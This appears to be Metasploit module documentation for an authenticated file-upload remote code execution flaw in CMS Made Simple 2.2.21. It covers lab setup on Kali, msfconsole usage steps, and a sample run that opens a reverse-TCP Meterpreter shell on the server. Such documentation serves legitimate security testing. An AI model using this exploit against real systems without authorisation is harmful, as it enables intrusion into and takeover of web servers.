## Vulnerable Application

CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
with the `.phar` or `.phtml` extensions, enabling execution of PHP code
leading to RCE. The file can be executed by accessing its URL in the
`/uploads/` directory.

## Installation

### Kali Linux 2024.3

Install PHP dependencies:
```
sudo apt install -y php-gd php-mbstring php-intl php-xml php-curl php-zip php-mysql mariadb-server mariadb-client apache2 libapache2-mod-php8.4 unzip wget 
```

Start mariadb and apache:
```
sudo systemctl start apache2
sudo systemctl start mariadb
```

Connect to the database:
```
sudo mysql -u root -p
```

Create a database user `msfuser` and a database named `cmsms`:
```
CREATE USER 'msfuser'@'localhost' IDENTIFIED BY 'msfpass';
CREATE DATABASE cmsms;
GRANT ALL PRIVILEGES on cmsms.* TO 'msfuser'@'localhost';
FLUSH PRIVILEGES;
EXIT;
```

Download CMSMadeSimple, extract it and move it to `/var/www/html`:
```
wget https://s3.amazonaws.com/cmsms/downloads/15179/cmsms-2.2.21-install.zip
unzip cmsms-2.2.21-install.zip                
sudo mv cmsms-2.2.21-install.php /var/www/html
rm /var/www/html/index.html
```

Set the necessary permissions:
```
sudo chmod 755 -R /var/www/html/
sudo chown www-data:www-data -R /var/www/html/
```

The application should be now available at `http://localhost/cmsms-2.2.21-install.php/`,
navigate there in a browser to complete the setup wizard.
On the tests page, `Testing if we can change INI settings` warning can be ignored.
It will ask you for the database credentials created above, input them and enter `cmsms` for database name.

Once complete, go to `http://localhost/admin/login.php`, you should see an admin login panel.

## Verification Steps

1. Install CMSMadeSimple
2. Start msfconsole
3. Do: `use exploit/multi/http/cmsms_file_manager_auth_rce`
4. Do: `set RHOST [IP]`
5. Do: `set username [username]`
6. Do: `set password [password]`
7. Do: `run`
8. You should get a shell.

## Options

### USERNAME
The username for the CMSMS admin panel. Default is empty string

### PASSWORD
The password for the CMSMS admin panel. Default is empty string

## Scenarios

### CMSMadeSimple v2.2.21 on Kali Linux 2024.3

```
msf > use exploit/multi/http/cmsms_file_manager_auth_rce 
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(multi/http/cmsms_file_manager_auth_rce) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(multi/http/cmsms_file_manager_auth_rce) > set username admin
username => admin
msf exploit(multi/http/cmsms_file_manager_auth_rce) > set password password
password => password
msf exploit(multi/http/cmsms_file_manager_auth_rce) > run
[*] Started reverse TCP handler on 192.168.232.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending stage (40004 bytes) to 192.168.232.128
[*] Meterpreter session 1 opened (192.168.232.128:4444 -> 192.168.232.128:42794) at 2025-03-22 02:53:16 -0400

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : kali
OS          : Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64
Meterpreter : php/linux
meterpreter >
```
